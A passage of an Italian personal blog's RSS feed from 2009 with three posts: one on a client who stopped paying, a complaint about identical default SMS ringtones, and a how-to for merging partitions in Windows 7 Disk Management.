Io: in che senso &#8220;smesso di pagare&#8221;? lo consideravano un brutto vizio come il fumo?<br />
C: no, hanno smesso nel senso che non si sono più fatti vivi.</p>
<p>Ecco, queste sono le belle notizie: il tuo maggiore &#8220;cliente&#8221; (azienda a cui vendi 2/3 di ciò che produci) ha smesso di pagare e non si è più fatto vivo. Si pensava che queste cose fossero rimaste chiuse nella jungla degli anni &#8217;80, invece pare siano sempre d&#8217;attualità. </p>
<p>Altro che crisi: questi si, a casa mia, chiamano <strong>bruciabaracche</strong>.</p>
<p>(tanti auguri a me, ma anche no)</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Tornare indietro di dodici anni, quasi tredici</title>
		<link>http://www.unpirlaqualsiasi.it/2009/07/26/tornare-indietro-di-dodici-anni-quasi-tredici/</link>
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		<pubDate>Sun, 26 Jul 2009 08:31:08 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<category><![CDATA[tecnocazzate]]></category>

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		<description><![CDATA[No, non vorrei ringiovanire di 12 anni, così, di colpo. Solo che sempre più spesso mi sembra di essere tornato nel &#8217;97, all&#8217;epoca dei primi cellulari &#8220;per tutti&#8221;, quando i &#8220;tutti&#8221; erano pochi. E quei pochi avevano quasi tutti telefoni Motorola. Ai tempi, giova ricordarlo ai più giuovani, i cellulari servivano solo a telefonare e [...]]]></description>
			<content:encoded><![CDATA[<p>No, non vorrei ringiovanire di 12 anni, così, di colpo.</p>
<p>Solo che sempre più spesso mi sembra di essere tornato nel &#8217;97, all&#8217;epoca dei primi cellulari &#8220;per tutti&#8221;, quando i &#8220;tutti&#8221; erano pochi.</p>
<p>E quei pochi avevano quasi tutti telefoni Motorola.</p>
<p>Ai tempi, giova ricordarlo ai più giuovani, i cellulari servivano solo a telefonare e mandare SMS (ma solo dopo aver attivato il servizio al costo di 10mila lire), avevano il display monocromatico a due righe e non permettevano nessuna personalizzazione. Le suonerie erano una dozzina per le chiamate, non modificabili, e una sola (o forse tre, ma solo una decente) per i SMS.</p>
<p>Quindi succedeva che al suono di un cellulare tutti si toccassero in tasca, per vedere se avesse squillato il proprio (ovviamente erano pochissimi modelli ad avere il cosiddetto vibracall) perché, alla fine, tutti avevano la stessa suoneria, almeno per i messaggi.</p>
<p>La stessa cosa succede adesso. Ormai in giro ci sono solo Nokia (anche se qualcuno vorrebbe far credere che l&#8217;iPhone stia prendendo il sopravvento), e ogni modello ha la stessa suoneria di default per i messaggi. Così, come agli albori del GSM, ci si tocca in tasca per vedere se il messaggio è arrivato proprio a noi.</p>
<p>Come dire: dopo la generazione delle suonerie per abbonamento, le polifoniche, le monofoniche, quelle programmabili, gli MP3, si ritorna all&#8217;uniformazione e all&#8217;anonimato della suoneria unica per tutti.</p>
<p>Tutto ciò per dire cosa? Che mi sono rotto le balle di dover controllare se mi è arrivato un messaggio quando suona il telefono altrui, e di non accorgermi di quando arrivi realmente a me, pensando che si arrivato a qualcun altro.</p>
<p>Voglio cambiare la suoneria dei messaggi, ma non so cosa usare. Dev&#8217;essere un suono breve, udibile in modo inequivocabile e, soprattutto, non imbarazzante.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Windows 7: ma quanto è facile unire due partizioni?</title>
		<link>http://www.unpirlaqualsiasi.it/2009/07/24/windows-7-ma-quanto-e-facile-unire-due-partizioni/</link>
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		<pubDate>Fri, 24 Jul 2009 15:44:32 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[estendere]]></category>
		<category><![CDATA[merge]]></category>
		<category><![CDATA[partizionare]]></category>
		<category><![CDATA[partizioni]]></category>
		<category><![CDATA[unione]]></category>
		<category><![CDATA[windows 7]]></category>

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		<description><![CDATA[Ammetto di non averci mai provato con Vista (ma funziona pure lì), ma dopo aver tentato con l&#8217;immortale Partition Magic, senza riuscirci, ho rivoltato Google come un calzino per avere una soluzione e ora la posto. Il problema era: distruggere una partizione e unirla con quella rimasta. La soluzione è semplicissima, oserei dire lapalissiana: nella [...]]]></description>
			<content:encoded><![CDATA[<p>Ammetto di non averci mai provato con Vista (ma funziona pure lì), ma dopo aver tentato con l&#8217;immortale Partition Magic, senza riuscirci, ho rivoltato Google come un calzino per avere una soluzione e ora la posto.</p>
<p>Il problema era: distruggere una partizione e unirla con quella rimasta.</p>
<p>La soluzione è semplicissima, oserei dire lapalissiana: nella &#8220;gestione disco&#8221; clic destro sulla partizione da eliminare e selezionare &#8220;elimina volume&#8221; (what else?), quindi sulla partizione da estendere nello spazio vuoto e selezionare &#8220;estendi volume&#8221; (ma va?). Nella finestra che si apre, scegliere quanto spazio vuoto andare ad occupare (di default è selezionato tutto) e cliccare OK.</p>
<p>Cioè, è tanto semplice da non sembrare neanche vero. Vuoi vedere che stavolta M$ ha davvero semplificato un&#8217;azione, invece di complicarla inutilmente?</p>
<p>Però, dall&#8217;altra parte, è talmente elementare come procedimento, che mi sento come se fossi l&#8217;unico a non saperlo ancora. Tipo se mi bullassi di aver scoperto come si crea una cartella o come si salva un file&#8230;</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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